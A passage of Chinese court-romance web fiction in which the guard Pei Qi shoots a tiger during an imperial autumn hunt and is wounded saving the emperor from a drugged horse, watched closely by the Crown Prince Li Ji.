他的第一反应便是裴期心里想了什么东西,为了不让自己误会,便说出这样的话,好来哄自己。 原以为不同,竟也跟其他人一样。 可就当他要开口之时,他又想到了裴期的父亲那一年不知为何,就算跪着,跪了好长的时间,也要求着把爵位传给那个小儿子。 皇帝皱眉,这么多年,该不会裴府确实是并不喜欢这个孩子,连带着裴期去和其他的子弟们结交一下也不肯? 皇帝本身刚添了新子,正是父爱最盛的时候,此刻竟开始怜爱起来。 在他的印象中,裴期并没有干什么错事,从小本本分分地长大,只是并不聪慧,在识文断字方面不如人意罢了,就算偏心,做长辈的又怎能偏心到这样的地步呢? 于是便也忍不住对裴期道, “朕第一次参加秋猎才十四,箭术和骑术,父皇与别人看了遍都称赞,你趁着这次多结交些朋友也是好的。” 裴期听了,心里也知道这时应该附和,可惜想了半天才想到个词,对皇帝说,“陛下当年定然……神勇。” 皇帝似是顺着他这句话也想到了当年的景象,他有些怀念地笑了一声,说:“那是自然,朕当年第一次参加秋猎便机缘巧合之下猎了只虎,当时没有人不交口称赞的。” 随即他又叹气了一声,“只可惜现在……” 他后半句话并没有说出口,要让一位帝王承认自己衰老确实困难,更何况他稍一显露出这样的颓势,便有人开始忍不住蠢蠢欲动,不管怎样,他都不能说出口。 裴期明白了皇帝的意思。 方才他同那些人交谈的只言片语中也得知,皇帝在以往的秋猎当中,是必定要骑上马带上弓去到林子中狠狠地显露一番宝刀不老的。 只是今年不知为何却突然没了兴致,许多人猜测或许今年便是皇帝要重新观察一下各皇子的表现也不一定。 裴期想着,他既然是作为锦衣卫当差的,皇帝是他的最大的直属上司,那自然他为皇帝解决问题也是他的工作之一。 于是他想了想,说道: “陛下不用担心,这次臣会为您猎来林中的虎。” 他眼神诚挚,阳光恰好顺着树枝的缝隙照在他的脸上,让他浅色的眸子一览无余,他好像心里并没有藏着什么别的事情,只是纯粹地想要为这个帝王尽忠。 没有一个皇帝能拒绝这样的人。 在你年老之时,在连你自己都质疑自己的病体还能再撑多久的时候,忽然年富力强,朝气蓬勃的臣子跟你说—— “臣愿为陛下猎虎。” 听到这句话,你便也觉得年轻了几岁,仿佛暂时就能忘却昨天夜里折磨的你辗转难眠的病痛。 皇帝笑了, “朕听了这句话便好,裴卿自不必如此较真。”可他仍旧寄予期望,“若是裴卿真能做到,朕倒是想到有一份大礼可以相送。” 裴期眨眨眼。 旁边的王公公听到这句话心里直拍大腿,哎哟,都到这份上了,还不快领旨谢恩。 他站在一旁,冲裴期使眼色,眼睛都快眨烂了。 仗着站在皇帝的身后,他微微使了几个口形, 谢恩啊—— 快谢恩啊—— 在他这样一番动作下来,尽管迟钝如裴期也终于已经理解了他是什么意思, “谢陛下恩典,臣定当不负所托。”裴期说。 —— 转身从皇帝的营帐出来,裴期又看了一眼那边太子的马,见到那马仍在那边,裴期也暂时松了一口气。 随即他又朝着太子的营帐那边去。 不过几步便到了那边。 靠地越近,裴期下意识理了理衣服。 但不巧的是他刚好碰到太子正准备离开的时候。 裴期生怕对方是去靠近那匹马了。 于是他也顾不得其他,连忙几步小跑过去,隔着衣袍抓住太子的手腕。 见到他的动作,太子旁边站着的几位侍卫眼皮子狠狠地一跳,要不是见到来的人是谁,他们差点便要拔剑。 “殿下。” 太子转身,“裴卿所为何事?” 他比裴期稍高,此刻微微垂眸看着裴期,好像并没有生气又恢复了以前的样子。 裴期心里直觉有些不对,可又不知道哪儿不对,他索性忽略心里的这些异样。 他先是松开手又躬身行了个礼,直奔主题地说道:“殿下恕罪,臣方才见殿下欲出行,那马恐有不妥,故而情急之下冒犯了殿下。” 然而李稷早已知道这事,三皇子愚蠢,是爱做那些蠢事,若是他真的连这种事情也不知道,只怕到现在已尸骨无存了。 但尽管如此,他还是眉头微微抬高,故作不解地问道:“你如何知道这事的?” 裴期一时之间有些不知所措,方才在皇上那里还能保下那位太监朋友,可现在如何才能两全其美呢。 他一时之间有些说不上话,在原地抿了抿嘴,一个字也说不出来。 李稷莫名有些兴趣缺缺。 就在方才,他还以为对方一时之间会将三皇子供出来。 “想来裴卿练马术没有几天,应该是看走眼了罢。” 李稷故意说道。 “不行!” 裴期口不择言,又重新拉着对方的手腕,好像生怕自己一放手,对方便就出了什么意外。 见到他这样,李稷也没了心思。 到底也只是担心自己的安危,又不方便把其他人说出口,自己要是真的偏要逼问出来倒是小孩心性了。 于是他微微笑了笑,“既然裴期这样说,那孤不用便是。” 说罢,他便随手从备用的马中选了一匹走。 裴期有些紧张的心情放松了些,可他仍旧牢牢地跟在李稷的身后,生怕对方又反悔。 “殿下,我跟着你去。”裴期说。 李稷笑了一声, “好啊。” 秋猎完(小修,建议重看) 密林中, 尽管太子已经带了足够的侍卫,可裴期驾着马一直在对方的身边打转。 他有些紧张,怕李稷后来选中的马也有些什么问题。 刚才的那小太监只说是太子的马, 也并未说是哪一匹,要是临时才做手脚,任凭是选了什么别的马都没用。 赤月被裴期握着缰绳,被迫和那匹普通的马距离极近, 它表示非常嫌弃, 并且尽力地将头往相反的地方撇着。 裴期见状, 轻拍了一下马的脖子,赤月这才不耐烦的打了个响鼻, 恢复了正常的姿态。 李稷看着, 觉得很有意思。 裴期也侧头, 恰好和李稷对视,就又见着李稷一边略有些灰蒙蒙的眼睛。 他虽然好奇,却不问。 想着若是贸然地问出口,冒犯到别人就不好了。 可当事人却已经看穿了他的心思。 其实从以前到现在,好奇他的眼睛的人何止裴期一个? “裴卿, 似乎从初次见面时, 你就十分好奇孤的眼睛。” 李稷笑着说。 在光线充足的条件下, 裴期愈发能看出两只眼睛的颜色不一。 对方说得确实不错,裴期的确从一开始见面时便十分好奇。 可正如之前所说的, 他不想冒犯对方, 不管是什么时候。 被猜中了心思, 裴期点了点头,“殿下,我确实好奇您的眼睛, 可并不是非得知道。” 李稷勾起唇角,“没关系,孤愿意告诉你。”他说,“只是因为幼时的住处意外发生了一场火灾,躲闪不及,便被燎到了一只眼睛。” 他说话的时候一直盯着裴期的眼睛,想从里面看出点别的什么,同情?可怜?嘲讽? 这件事情并不只有裴期一个人知道,从前在他还年少的时候也向其他人说过,可其他人听了后无一例外眼中都多了点别的什么东西。 仿佛知道了这个事情,自己在他们的眼里就并不再是尊贵的储君了。 仿佛此刻自己在他们的眼中,只是当年在冷宫里被火燎瞎了一只眼睛的无能皇子。 “殿下,不必再说了。”裴期眉心微蹙。 李稷眯着眼看他,“为何?” 裴期对现下自己的情绪也不知所措,只能诚实地将内心的想法尽数道出, “殿下,听了您说的,只听一句,我便觉得心中很痛,想必您一定更痛,我不想要因为自己让您这样。” 李稷微微抬眼,看着裴期不知道在想些什么。 无论是谁教的裴期说的这样的话,也无论对方有什么目的,他都承认对方十分出色。 他终于理解父皇为何初次见裴期便如此宠信爱护,又终于明白为何史书上的那些帝王总是沉溺偏爱周遭奸佞。 李稷感觉心口上仿佛被一支小小的、毛茸茸的羽毛慢慢地挠了一下。 他沉默片刻,又说:“上次孤托人带了口信,说是若你来了秋猎,便教你骑射,你可还记得。” “我记得。”裴期点点头,“只是我在外祖那里已经学过。” 他话音刚落,就只见眼前人从马匹侧面的箭筒里抽出两支箭来,又从另一面拿起了一把和之前送给裴期的极为相似的弓。 只见李稷骨节分明的手指将两支箭同时搭在那把弓上。 竟是要同时射出两支箭。 “裴卿,看好。” 李稷对裴期说。 裴期意识到对方要做什么,于是顺着对方朝着的方向望去。 他还从未见过有人可以这样。 哪怕是之前在校场练习时,军营里最厉害的神射手也不能。 只见李稷望着的方向一左一右,分别有一只鹿和一只獐子。 鹿通体淡褐色,有些被阳光照到的地方则成栗红色,它的背上有一些不规则的斑点,头上顶着带着一点暗红色的角。 獐子则体型较小,是黄褐色的,不规则的斑纹从它的脖颈一直延伸到尾部, 獐子的眼睛小而圆,比旁边的鹿更快注意到这边的人类举起的箭。 只见那獐子惊慌失措地朝右边跑。 鹿后知后觉听到了动静也跟着朝左边逃。 两只活物朝不同的方向逃跑,中间隔着的距离越来越大。 而此刻,李稷已经将弓弦拉满,隐隐约约之间能透过衣服的布料看清楚他小臂上的肌肉。 只见他位于两支箭尾羽之间的食指微动。 “嗖”的一声。 两支箭同时射出,在空气中留下两道若有若无的残影。 裴期眯着眼睛眼神一直追随着两支箭仔细看。 只见那两支箭居然真的分别朝两个方向射去。 如同两支箭自己长了眼睛一般,一支“噗”的一声射进了獐子的腹部。 另一支则准确无误地射进了那只鹿的眼睛。 獐子瞬间便倒地,那匹鹿却往前扑了几步才倒下。 旁边的侍卫见到这一幕激动的脸都涨红,只可惜顾着不能冒犯。 只能在旁边握紧拳头,不出声,暗自喝彩。 裴期倒是心里并没有想到这些,当下只觉得自己的朋友有如此神技,下意识夸赞:“殿下英武!” 李稷眉头抬了抬,看向裴期,“同裴卿第一次见孤时所说的话一样。” 他有意逗裴期,裴期却没觉察出来,只是认真思索了片刻,终于又想出一个新词来, “殿下厉害!” 眼见裴期一脸认真,李稷忍俊不禁,嘴角微微上扬。 说完,李稷便扯了扯缰绳向前,后面的侍卫也连忙跟上。 主上得了猎物,他们是要跟着把猎物收拾起来的。 “方才只是想收下这头鹿,没想到运气好,恰好没破坏这身皮毛。”李稷笑着说, “天气渐凉,若从现在起将皮毛交给宫里的匠人,刚好在入冬时便能制成一个好的围脖或护手。” 他看向裴期,“恰好赠予他人。” 裴期摇了摇头 , “殿下,无功不受禄,我已经得了殿下太多的东西,本就不知道用什么来还,若是再得了这张鹿皮,便更加不知道用什么还了。” “无妨,孤送你这些,并不是要你还的。”李稷说,“这样,孤便把这鹿皮作为这次秋猎的添头,若是你此次能够猎得什么好东西,便连鹿皮一起送你。” 李稷这样说着,他们的马慢慢地向前,靠近了那只獐子。 后面跟着的侍卫也上前翻身下马,将地上的獐子捡好,放在了自己的马背上。 接着他们又调转了马头,准备去取旁边的那只鹿。 只是他们才刚靠近那匹鹿,便不知从何处“嗖”的一声便射过来一支箭,那支箭一下子便射到鹿身上最光滑的皮毛部分。 一个熟悉的声音出现。 “本殿下就说往这边来能够得到什么好东西,这不就有一只皮毛上好的鹿吗?” 三皇子边这样说着,边策马从另一边的林子中走了出来,他的手上还握着弓。 他刚一靠近,便看到李稷和裴期二人骑着马在这里。 他瞬间就把脸色沉了下来。 三皇子驱使着马尽可能地靠近那匹鹿来回打着转。 他向来是嚣张惯了的,唯有在皇帝的面前才收敛一点。 至于这个皇兄,他虽在某些时候见了确实有些发怵。 但前些日子,他母族舅舅那边的人被太子全部下狱的下狱,斩头的斩头,抄家的抄家。 此刻若他再退缩,他还要不要面子了? 自己若是现在做了缩头乌龟,说不定周遭的这些人还以为自己有多怕这皇兄。 于是他上前一步说:“皇兄或许是没注意,这鹿是我的猎物,并非是无主之物。” 裴期从未见过这样恶人先告状的,他皱皱眉说道:“这怎么就变成你的了?” “胡说。”三皇子反驳道, “方才我从另一边过来时看见皇兄只举了一次箭,射了一次,猎到的正是你们背后的侍卫手里所拿的那只獐子,怎可能同时还有这只鹿?” 李稷未说话,只是扫了一眼旁边的侍卫。 那提着獐子的侍卫心领神会,便上前来说道, “三殿下可细看,太子殿下箭的尾羽是由太子宫里红色颜料特意染上的。” 本朝的红色颜料多用朱砂,赤铁,茜草,红花,或胭脂虫制成。 只因皇室有特别的比例,因此红色与民间的红色染料看上去大为不同。 见到这侍卫这么说,三皇子瞪了一眼旁边的侍卫。 旁边的侍卫便上前来,翻身下马,蹲下查看那匹鹿眼睛上的那支箭。 侍卫伸出手去翻了又看,又用大拇指在那支箭的尾羽上刮擦了两下,确认了的确如这边所说的那样之后便回头躬身禀报三皇子。 “禀报三皇子殿下,这只鹿的眼睛上确实插着一支箭,箭的尾羽上也确实有如同太子殿下所说的那样的颜料,且按照血迹来看,应是太子殿下先猎到的。” “怎会!”三皇子眼睛瞬间睁大,他在不信世上居然有可以两箭齐发的人,于是他拉缰绳,亲自靠近那只鹿,要自己看看。 瞧见那只鹿眼睛上的箭确实如同自己的侍卫所说的一样时,他咬了咬牙,脸色阴沉得能滴出水来。 可他仅仅是抬头望了一眼,便神色瞬间恢复。 他望向远处,笑了一声,仍旧嘴硬,“这只鹿让给皇兄也无妨。” 裴期见了他这样的神色,一时好奇,于是也驱使着赤月转了个圈,望向后边。 只是一眼,他的眼睛便睁大,而复又皱起眉。 只见那远处树荫之下,确实有个什么东西在树荫处目露着凶光,盯着这边。 见到有人注意到这边,树荫里的那东西便匍匐了身体,伸出了利爪,缓缓地从阴处出来。 众人这才看见那东西的真容。 原来是一只体型硕大的虎,他的身上隐隐有些伤痕,身后有点着血迹。 这片山林一般用于每年的秋猎,每次秋猎之时定会把猛虎,野狼等凶物赶得远远的,也不知这头老虎是如何穿过重重关隘来到这里的。 老虎只是一呲牙,便能看见他的血盆大口,他的口角边上还残存着些许血迹。 裴期心中一紧,只怕是伤了那边的侍卫才跑过来的。 可现在隔得太近了,周围有这么多侍卫,若是激怒了对方,自己驱使着赤月尚且还能与之周旋。 但周围的这些侍卫若是走得不及时便会被伤到甚至有生命危险。 他不想看见这样。 于是他小声说,“瞧着这只虎离我们还有些距离,不如我们赶紧离开。” 哪知听了这句话,三皇子却笑出声来,“我朝自从太祖开始,便从上至下都信奉神勇,若是此刻退缩,不过只是缩头乌龟罢了。” 说罢,他踹了一脚旁边的侍卫的马,“你过去,假装诱敌,我随后便从它的后边将它杀死。” 他从旁边拔出一把剑来,那剑寒光闪闪,刀刃十分唬人。 旁边的侍卫见到这虎的架势,脚被吓得身体抖如筛糠,哪里还听得进他的命令。 因此哪怕是三皇子已经开口了,这侍卫却抓紧了马绳,并不向前去。 三皇子今日连续吃瘪两次,顿时有些恼羞成怒,他冷笑。 “你不去,自然有法子让你去。” 说着,他竟扬起马鞭抽打了一下,侍卫所骑的那匹马。 于是,一瞬间,在侍卫也反应不及的情况下,那匹马猛地向前冲了出去,侍卫在马上被吓得脸色煞白,连呼救都忘了。 只能拼命拽着马的缰绳想调转马头朝别的地方逃。 可在丛林中当了这么多年百兽之王的虎,哪里是吃素的? 正当侍卫把马掉转了头,觉得自己有一线生机之时,那匹虎眼瞧着这人凑近,一下子便猛地扑了上去,咬住了马的脖子。 马瞬间便扬起马蹄,一边发出嘶鸣,一边胡乱地扭动。 那侍卫只是一瞬间便从马背上滑落,摔倒在了地上。 或许是冲击地太过厉害,他的腿在地上摔折了,一时之间使不上劲,只能无助地在原地看着老虎用利齿将自己的马牢牢地咬住,直至马的血流干,再也不能动。 侍卫闭着眼睛,心中满是绝望,他马儿死了,心知下一个便轮到自己了。 三皇子见到这架势,扯了扯缰绳,马儿的蹄子踢踏了几下,就是没有如他所说一般往前去。 方才他还想悄悄地绕到那匹马的身后用剑结果了它。 可现下他的身体却跟被钉住,一动不动。 他害怕了。 害怕自己失手,也变得跟那侍卫一样。 裴期微带着怒气地看了一眼三皇子。 把人命当作儿戏,简直是荒唐。 于是,他下意识地学着方才太子那样,迅速地拿出严振送自己的那把弓,又从旁边的箭筒中抽出两支箭。 在周围所有人还没有反应过来的情况下,他迅速地将弦拉满,“嗖”的一声将箭射了出去。 或许是因为情况混乱的缘故,两支箭有些失了准头。 只见那两支箭朝着老虎疾射而去,一支擦着老虎身侧飞过,惊得老虎猛地一甩头,松开了咬着马的利齿,又发出一声怒吼。 另一支箭则射中了老虎的肩胛处,箭头瞬间没入老虎的皮毛,溅起一点儿血花。 老虎吃痛,愤怒地咆哮,声音在密林中回荡,震得树叶簌簌作响。 然后,它猛地转身,铜铃般的双眼恶狠狠地瞪着裴期,眼中满是凶光与恨意。 周围的人都是吓得一颤,心中有点埋怨裴期为何非得激怒老虎。 李稷见状,微微皱眉,当下就要抽出箭来。 可裴期并没有畏惧,他迅速从箭筒中又抽出两支箭来,他再次搭箭上弦。 在老虎猛地朝这边跑过来,离自己越来越近的时候,裴期第二次射出了他的箭。 这次,这两支箭十分精准地“噗”“噗”两声,一左一右,分别没入了这头老虎的眼窝。 老虎被射中眼睛,箭头径直没入脑子里,它的身体虽因惯性还在往前冲了几步,可早已失去了方向感,只是凭着本能狂怒地挥舞着爪子,胡乱地向前扑腾着。 不过眨眼之间,它那庞大的身躯便轰然倒地,扬起一片尘土,震得周边的草木都微微颤抖。 而后便彻底没了动静,唯有那还未散尽的血腥气在空气中弥漫着,提醒着诸人方才发生了什么。 周围的人都松了一口气,同时又羞愧方才居然怪罪裴期出手。 李稷眼里闪过惊讶,平时听到暗卫的报告,他早已知道裴期对于这些事情悟性极佳,可他没想到对方竟学得这么快。 裴期两次搭箭上弦,两次射虎,实在太过精彩。 周围凡是看到的人无一不爆发出巨大的喝彩声。 甚至连三皇子那边的人也不顾三皇子就在前边看着,他们激动得满脸通红,挥舞着拳头,骑在马上喊, “好!” “当真是李广现世!” “好箭术!” 三皇子在前边儿站着,脸上一阵青一阵白。 说要猎虎的是他,可被那老虎吓得站在原地一动不动的也是他最后还要靠旁边这个被他嘲笑过的侍卫救的人也是他。 而自己的侍卫那一阵阵的喝彩仿佛是几记耳光打在他的脸上。 他咬紧着牙关却又无从发作,于是他只能“哼”了一声,什么话也不说,转身离去。 徒留下地上的侍卫不知所措。 他本是三皇子那边的人,应该跟三皇子一起走,可他现在腿摔断了,半点力气也使不上,就算是爬也跟不上三皇子。 没人带他走,他自己走不了,可若是有人带他走,他的伤若是养好了些,还得继续去面对三皇子吗? 他睁着眼睛,满脸的茫然。 裴期见他这样,便心中不忍。 可他并不想麻烦李稷,是他自己想干的事情,怎么能要求朋友替自己干呢? 于是他便询问李稷, “殿下,若是我想从三皇子那儿要走这个侍卫,该如何?” 李稷一下子便能猜出对方的心思。 他笑了笑, “此侍卫忠心,孤也想要了去,届时将他带回去医治,然后将他从三皇弟那儿要来,在东宫里当差就行。” 裴期微微皱眉,“我知殿下是想帮我,可这样会麻烦了殿下。” 李稷回答,“并不麻烦,只是差人动动嘴皮子的事情罢了。” 说完,太子这边的人得了授意,便上前去小心翼翼将地上腿摔断了的那侍卫抬了起来。 那侍卫本来心里一直绷着根弦,紧张兮兮地听着两人交谈,生怕自己被扔在了这个地方,叫天天不应,叫地地不灵。 眼见此刻终于有了一线生机。 方才连面对猛虎时都不曾掉过眼泪的侍卫眼眶中瞬间盈满了泪水,他嘴唇颤抖,声音哽咽。 “多谢裴大人!多谢太子殿下!属下,属下来生愿做牛马,报答二位的恩情!” 经历过大落又大起,他激动得浑身颤抖。 旁边太子这边的侍卫见状,也面露不忍,眼前的这人也勉强算是自己的同僚。 这世间谁不是爹生娘养的? 又不是犯了大错,也不是故意冲撞了别人,为什么就要送命呢? 裴期驱使着马上前,从怀里掏出一方帕子弯腰递给这侍卫,他是在场的人里面最清楚前世来生的人。 他知道或许有来生,但来生却并不一定会生在哪儿。 于是他说: “我不喜欢听人说来生报答,你擦擦眼泪,把身体养好了,日后想要报答的机会多的是。” 侍卫一愣,他伸手接过帕子,喉头一哽,更是一句话也说不出来,只能反复地重复:“好,好,好……” 李稷见状,便说:“事不宜迟,快快将这位侍卫带回医治吧,若是有多的人手便把地上的这只虎也带回去。” 太子这边的侍卫得了吩咐,于是便也忙碌起来,一部分人负责运送受伤的侍卫,另一部分人则负责运送地上的猎物。 那地上的老虎颇重,但分成几人倒也能应付。 原本秋猎是要等到夜晚降临之时才结束这天的,可因为这些事情一打岔,太子这边便提前回去了。 裴期和李稷并辔而行,偶尔低声交谈几句。 出来的这一趟,他们离营地的地方隔得并不远,不过一会儿便到了营地的附近。 而皇帝自从白天听了裴期说那句话开始,便派了人在这边看着。 他其实也知道,像裴期这样的年轻人,没怎么上过战场,参加秋猎都是第一次,恐怕也是最近才摸上的马。 即便是身经百战的猎户要打猎一头老虎回来十分不容易,更何况是这样,从小都未怎么出过府门的公子哥呢? 可他心中总忍不住想着,若是裴期可以做到呢,他尽管早已过了喜欢胡思乱想的年纪,却还是期盼着这个小孩儿能够给自己一点什么惊喜。 皇帝并没有等多久。 太阳只是稍斜之时,他便见到裴期出现了,一开始他还有些许失望,因为他并没有在裴期的身边看见有任何猎物。 但他也觉得这是正常的,毕竟对方是第一次参加秋猎。 有很多第一次参加秋猎的勋爵子弟是连个兔子田鼠都抓不到的。 不过这也不影响他对裴期的喜爱,起码对方那句话能够哄自己开心,不是吗? 然而,随着裴期越往前走,他身后跟着的太子的侍卫就越是暴露出来。 那好几个侍卫才能抬动的虎也暴露出来,先是那老虎的头,老虎的长而尖利齿从他闭着的嘴唇中都能看得出来,老虎的眼窝中有两支箭,可见射箭之人的箭术精湛。 而后是老虎的身体,老虎的肩胛处也有一支箭,看来狩猎这只老虎一定极为不易,要在极短的时间内连射三支箭才能将这只老虎制服。 要是换了别个准头不太对的,只怕当场就会在这老虎的利爪和利齿下殒命。 皇帝表面不动声色,内心却有些欣喜。 裴期也见到了皇帝,于是他下马,手里握着缰绳,牵着马步行朝前走。 皇帝见到他,脸上就恢复了些神采,仿佛之前裴期见到的,喝药时憔悴的神色都去掉了几分。 “裴期,朕原本还想着你初次秋猎,若是空手而归也是正常的,没承想你竟真的能做到。” 他看了一眼裴期身后的虎,脸上带笑。 裴期诚实地回答:“其实原本只是意外,没想到能碰到这样大的老虎,实在只是机缘巧合。” 皇帝却觉得裴期只是在谦虚, “你也无须谦虚,是什么便是什么。” 裴期想了想,觉得此次虽然是机缘巧合,可虎也确实是自己猎的,当然当得一两声的夸奖。 “多谢陛下夸奖。”裴期说。 皇帝也很喜欢裴期现在这样,他喜欢这样坦然不扭捏的人。 此时他心中志趣正浓。 因此也有了效仿自己年轻的时候策马奔腾的念头。 于是他笑了笑,叫旁边的人去牵一匹合适的马过来,他要上马试驾。 旁边站着的太监担心他的身体,“陛下,太医才刚说过……” 可他话还没说完,皇帝便摆了摆手说, “只是在营帐之中骑上马走几步罢了,又怎么会有危险?好不容易秋猎一趟,秋猎每年只有一次,又怎能不尽兴呢?” 于是,他便起身朝帐篷走去,说完他又回头看了一眼裴期和李稷,以及其他的太监, “你们几个,留在这里,不许拦朕。” 说完他便朝放着马的地方去。 李稷笑了一声,“许久没见过父皇这样的模样了。” 裴期从小到大从未在裴府中感受如此的氛围,他感觉心中快活,想要说些什么,于是他勾着唇对李稷说: “殿下还记得之前赏给臣的添头吗?” “孤不是善忘的人。” 裴期眉眼弯弯,“那臣想要一个围脖。” 李稷也跟着笑,“好,孤信守诺言。” —— 虽说陛下方才说了,不许有人拦他,可他现在出去骑马,总是要看着的。 于是几人便也撩开帘子,从帐篷里走了出去。 其实皇帝亲身上战场都有好多年了,晚年就算身体不好,骑一骑马倒是没什么,几人也没太放在心上。 可他们还没往前走几步,裴期便瞳孔缩了缩。 不因为别的,正是因为在这么多匹马中皇帝居然恰好看上了李稷的那匹,似乎是被动过手脚的马。 李稷也眯了眯眼睛,他自然也知道那匹马有问题。 只是那匹马被下了药之后又一直看起来病恹恹的,他更是找了人在旁边看着,不许任何人靠近。 他想着这匹马留着作为证据也好,日后也许会有用处。 没想到父皇万里挑一,居然看上了这匹。 他派去的那些人又怎么敢忤逆父皇,不让父皇靠近。 幸好现在父皇还只是刚刚才骑上那匹马,并没有什么别的举动,他们还有机会阻止。 裴期也是懊恼,自己明明可以提醒更多人的,可当时竟然只想到太子有可能会和这匹马有联系,他也知道现在不能轻举妄动,惊扰了那匹马。 于是二人心照不宣地慢慢靠近。 皇帝见二人过来,以为是要来阻拦自己的,便说,“你们不必担心,这匹马病恹恹的,就算要发狂,也不会出什么乱子,只是骑上走几圈罢了。” 李稷其实是不想惊扰这匹马,好让事情有可以回圜的余地,可他刚想要说些什么。 一个字还没说。 那匹马便如同见到了什么怪物一般,开始仰天嘶吼起来。 声音比起方才被猛虎咬住脖子的那匹马有过之而无不及。 随即这匹马开始烦躁不安地用蹄子蹬着地面,地面被马蹄蹬着,扬起一阵尘土。 李稷眉皱地更深,果然,他绝不应该在任何时候放松,若是一放松一懈怠,便会出现各种乱子、差错。 他神色冷了下来,看样子,若是现在想阻止,必须硬来。 这时,这匹马终于还是彻底的发了狂,开始不住地挣扎,抬起上身扬着马蹄,随后又把马蹄往后踢,仿佛不将自己背上的这个人甩下来便不罢休。 皇帝见状也是皱了眉,他心想这匹马怎么这么烈? 方才见着还是病恹恹的样子,现在便开始不服驯了。 于是皇帝便手握着缰绳,使劲往后拉。 他毕竟也算是经验丰富,骑过的马不计其数,认识性格再烈的,他也训过,于是他便用着自己从前的习惯想要彻底驯服这匹马。 可皇帝不知道的是——这匹马并不是性格烈,而是被下了药,怎会服他的管教? 于是发觉自己被背上的人类试图驯服的时候,它便变本加厉地开始发起狂来。 马背上的皇帝被颠簸着,几乎半个身体都要离开马背。 此刻,他也察觉到这匹马不对劲,绝不是平常马的样子,但此时情况危急,他也只能紧紧抱住马脖子,尽量保持身体的平衡。 周围的侍卫和太监们也都被这突如其来的变故惊得脸色煞白,他们不敢想象若是皇帝在此时出了个三长两短,该怎么办,于是他们慌乱地围拢过来,却又因惧怕那匹马的癫狂而不敢贸然上前,只能在一旁干着急,口中呼喊着:“陛下,陛下小心呐!” 整个营地瞬间陷入一片紧张慌乱的氛围之中,所有人的心都悬到了嗓子眼儿。 这时李稷眯了眯眼,正下定了决心要上前去制止那匹马, 可正当他要上前的时候,裴期却已经先他一步。 裴期其实也并没有思考太多,他只是觉得自己既然身为锦衣卫,主要的职责就是保护皇帝,为皇帝服务,那此时皇帝陷入了险境,自然也是自己分内之事。 更何况自己明明知道了这匹马有问题,却还是遮遮掩掩,难道不是自己的责任吗? 现在这种情况,他更不能让李稷以身犯险。 于是他伸出一只手虚虚地拦了一下李稷,不让李稷靠太近。 自己又脚尖点地,飞身上马,骑到了皇帝的身后。 他伸出手绕过皇帝的两侧,替皇帝紧紧握住了这马的缰绳。 可他毕竟也是才接触马的新人。 尽管身上的力无穷,可对于这种被下了药的完全失去理智的马却没什么办法。 马被大力勒住,反而变本加厉地发狂。 在空中跃得更加起劲。 皇帝咬牙,“你上来干什么?这里有多危险,你不知道吗?” 他实在不忍心见着这个讨人喜欢的小孩因为自己而受伤。 “我知道。”裴期说,“我知道的。” 他说着居然极为冒险地大半个身体下马,手却依旧抓着缰绳,他用尽全身的力气,终于让马停在了原地。 可这马停在原地也只是因为他用蛮力拉着,若是他放手或者是这条绳子崩断,只怕这马便会故态复萌。 可这时,缰绳越拉越细,眼见便要断了,裴期顿时便不敢用太大的力气。 李稷脸色阴沉,眼神不停扫视着周围,终于在某个侍卫的身上见到了挂着的弓和箭。 于是他毫不犹豫,大步走上前将侍卫身上的弓和箭取下来。 侍卫一个愣神的工夫就被他取走了所有的弓和箭。 只见他如同之前一般搭箭上弦,毫不犹豫的吧,所有的箭全射了出去。 这些箭全都准确无误地没入马的身上最薄弱的部分。 终于,在马身上的缰绳即将要断裂之际,这匹马终于彻底失去了行动能力,倒了下来。 裴期随即张开双手,为了不让皇帝跌落而垫在了皇帝的底下。 “陛下,您没事吧。”裴期说。 皇帝离开了战场这么多年,平常周围都有严密的保护,也是第一次经历如此惊险的事,他的第一反应就是恼怒。 他撑起自己的上半身,眯着眼睛,眼神里漫溢出来的杀气。 “给朕查查,究竟是谁如此胆大包天。” 说完这句话他才又神色缓和地对裴期说:“辛苦你了,朕无大碍。” 裴期听到那句陛下并没有大碍的话,便心里也放心了。 “那就好,臣也可以放心了。” 可他不知怎么了,刚回完话,便只感觉头脑昏沉,眼皮越来越重。 不过几个数,他就感觉自己的眼皮再也抬不起来,失去了意识。 皇帝皱眉,方才还生龙活虎,足可以制服一头疯马的裴期一下子便失去了意识,连头也朝后彻底倒了下去。 他下意识碰了一下裴期,试图唤醒对方。 可手触及的地方却一片湿润。 皇帝将手收回来。 只见自己满手都是刺目的血红。 那是裴期的血。 原来是方才,不知道什么时候。 或许是马发疯的时候,扬起的一片尖利的石头划破了裴期的后背,又或许是接住自己的时候背后磕到地上锋利的石头。 总之现在裴期的后背衣服被浸湿,满是鲜血。 只因穿着的是一身红色的飞鱼服,故而才没有立即被人发现。 旁边有太监见到这一幕,连忙朝旁边喊 :“太医在哪儿啊?快来太医呀!” 李稷听到这话,心一下子就悬了起来。 他收起手中的弓和箭,也是几步上前,蹲下去看了眼闭着眼睛的裴期。 他知道现在不能碰裴期,不能让对方身上的伤口裂开得更大。 可李稷却无法忽略对方背后渗出来的鲜血已经染红了身下的土地。 李稷感觉自己弄错了什么。 这样的人,这样奄奄一息躺在这儿的人,就算是别人派来的,又能坏到哪里去呢? 裴期是有正经爵位的家里出来的嫡出公子哥,又不是世家大族豢养的死士,并不至于以命相搏来换得好处。 如果真是有这样的心眼,不如先直接让家里的那个弟弟出点什么意外,好让自己的爵位不会落于旁手才好。 想来,现在这样舍命相救,也只是发自内心,没有任何其他原因。 这样的人,本性肯定不坏,至于为什么非要听从别人,或许是因为背后被别人抓住了什么把柄,实在不得脱身,才不得不听对方的话,又或许是因为其他的。 然后,李稷思索了一下,抬头看向自己的父皇。 “父皇,儿臣愿彻查此案。” 受赏 裴期听到有人叹了口气。 可是他眼睛睁不开, 浑身也动弹不了。 接着他感觉到手边的床凹了一块下去,像是有人坐在了床边。 他的脸被一只粗糙的手摸了一下,坐在他床边的人不知道在叽哩咕噜讲些什么。 然后他的床边一轻, 旁边的人好像又离开了。 裴期努力想要睁眼,却又睡了过去。 其实他一直都能察觉到周遭的动静,他知道有人给自己上药,又有人给自己喂药。 裴期也不急, 他知道自己快好了。 裴期在心里数着别人给自己换药的频率, 大概过了两日, 他感觉到自己能醒了。 他醒来的时候并没有那种旁边的下人丫鬟见到他醒过来,大叫一声, “少爷终于醒了!”, 然后跑出去的桥段。 因为这两日, 他身边的所有人一直都在这儿在等他醒过来。 见到他睁开眼睛,他首先感觉到自己的脸上被落下了两滴水。 裴期第一眼看见的便是裴母,随后是外祖父,外祖母。 裴母眼睛下挂着浅浅的乌青,神色有些许憔悴, 见到裴期醒了过来, 她的第一句话便问: “小期, 饿了没?想吃些什么?” 